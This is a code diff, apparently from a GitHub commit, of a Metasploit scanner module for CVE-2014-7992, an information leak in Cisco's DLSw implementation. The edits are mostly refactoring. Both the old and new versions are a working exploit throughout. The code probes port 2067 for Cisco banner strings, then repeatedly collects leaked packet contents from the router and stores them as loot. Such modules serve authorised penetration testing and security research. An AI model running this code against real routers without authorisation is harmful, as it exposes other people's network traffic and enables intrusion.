7
7
require 'socket'
8
8
9
9
class Metasploit3 < Msf ::Auxiliary
10
-
11
10
include Msf ::Exploit ::Remote ::Tcp
12
11
include Msf ::Auxiliary ::Scanner
13
12
include Msf ::Auxiliary ::Report
14
13
15
14
def initialize
16
15
super (
17
- 'Name' => 'Cisco DLSw information leak ' ,
18
- 'Description' => %q{
19
- This module implements the DLSw information leak retrieval. There is
20
- a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
21
- that allows an unuthenticated remote attacker to retrieve the partial
22
- contents of packets traversing a Cisco router with DLSw configured
23
- and active.
24
- } ,
16
+ 'Name' => 'Cisco DLSw Information Leak Scanner ' ,
17
+ 'Description' => %q(
18
+ This module implements the DLSw information leak retrieval. There is
19
+ a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
20
+ that allows an unuthenticated remote attacker to retrieve the partial
21
+ contents of packets traversing a Cisco router with DLSw configured
22
+ and active.
23
+ ) ,
25
24
'Author' => [
26
25
'Tate Hansen' , # Vulnerability discovery
27
26
'John McLeod' , # Vulnerability discovery
28
- 'Kyle Rainey' , # Built lab to recreate vulnerability and help test
27
+ 'Kyle Rainey' # Built lab to recreate vulnerability and help test
29
28
] ,
30
29
'References' =>
31
30
[
32
31
[ 'CVE' , '2014-7992' ] ,
33
- [ 'URL' , 'https://github.com/tatehansen/dlsw_exploit' ] ,
32
+ [ 'URL' , 'https://github.com/tatehansen/dlsw_exploit' ]
34
33
] ,
35
34
'DisclosureDate' => 'Nov 17 2014' ,
36
- 'License' => MSF_LICENSE ,
35
+ 'License' => MSF_LICENSE
37
36
)
38
37
39
38
register_options (
40
39
[
41
40
Opt ::RPORT ( 2067 ) ,
42
- OptInt . new ( 'LEAK_AMOUNT' , [ true , 'The number of bytes to store before shutting down.' , 1024 ] ) ,
41
+ OptInt . new ( 'LEAK_AMOUNT' , [ true , 'The number of bytes to store before shutting down.' , 1024 ] )
43
42
] , self . class )
44
43
end
45
44
46
45
# Called when using check
47
46
def check_host ( ip )
48
- print_status "Checking #{ ip } :#{ rport } for DLSw exposure"
49
- connect
50
- response = sock . recv ( 1024 )
51
- disconnect
47
+ peer = "#{ ip } :#{ rport } "
48
+ print_status ( "Checking #{ peer } for DLSw exposure" )
49
+ response = get_response
52
50
53
- if ( response . length > 0 ) && ( response =~ /IOS Software|cisco.com/ )
54
- print_status ( " The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ ip } : #{ rport } ")
55
- report_vuln ( {
56
- : host => rhost ,
57
- : port => rport ,
58
- : name => self . name ,
59
- : refs => self . references ,
60
- : info => "Module #{ self . fullname } collected #{ response . length } bytes"
61
- } )
51
+ if ! response . blank? && ( response =~ /IOS Software|cisco.com/ )
52
+ print_good ( " #{ peer } : The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected ")
53
+ report_vuln (
54
+ host : rhost ,
55
+ port : rport ,
56
+ name : name ,
57
+ refs : references ,
58
+ info : "Module #{ fullname } collected #{ response . length } bytes"
59
+ )
62
60
Exploit ::CheckCode ::Vulnerable
63
61
else
62
+ if response . blank?
63
+ vprint_status ( "#{ peer } : no response" )
64
+ else
65
+ vprint_status ( "#{ peer } : #{ response . size } -byte response didn't contain any leaked data" )
66
+ end
64
67
Exploit ::CheckCode ::Safe
65
68
end
66
69
end
67
70
71
+ def get_response ( size = 1024 )
72
+ connect
73
+ response = sock . recv ( size )
74
+ disconnect
75
+ response
76
+ end
77
+
68
78
# Main method
69
79
def run_host ( ip )
70
80
return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
71
81
72
- print_status ( "Going to run until we retrieve #{ datastore [ 'LEAK_AMOUNT' ] } bytes from #{ ip } : #{ rport } " )
82
+ print_status ( "#{ ip } : #{ rport } Waiting for #{ datastore [ 'LEAK_AMOUNT' ] } bytes of leaked data " )
73
83
74
- dlsw_data = ""
84
+ dlsw_data = ''
75
85
until dlsw_data . length > datastore [ 'LEAK_AMOUNT' ]
76
- connect
77
- response = sock . recv ( 72 )
78
- if response
86
+ response = get_response
87
+ unless response . blank?
79
88
dlsw_data << response [ 18 ..72 ] # range of the leaked packet contents
80
89
end
81
- disconnect
82
90
end
83
91
loot_and_report ( dlsw_data )
84
92
end
@@ -92,8 +100,6 @@ def loot_and_report(dlsw_data)
92
100
'DLSw_leaked_data' ,
93
101
'DLSw packet memory leak'
94
102
)
95
- print_status ( "DLSw leaked data from #{ ip } :#{ rport } stored in #{ path } " )
103
+ print_status ( "#{ ip } :#{ rport } : DLSw leaked data stored in #{ path } " )
96
104
end
97
105
end
98
-
99
-
0 commit comments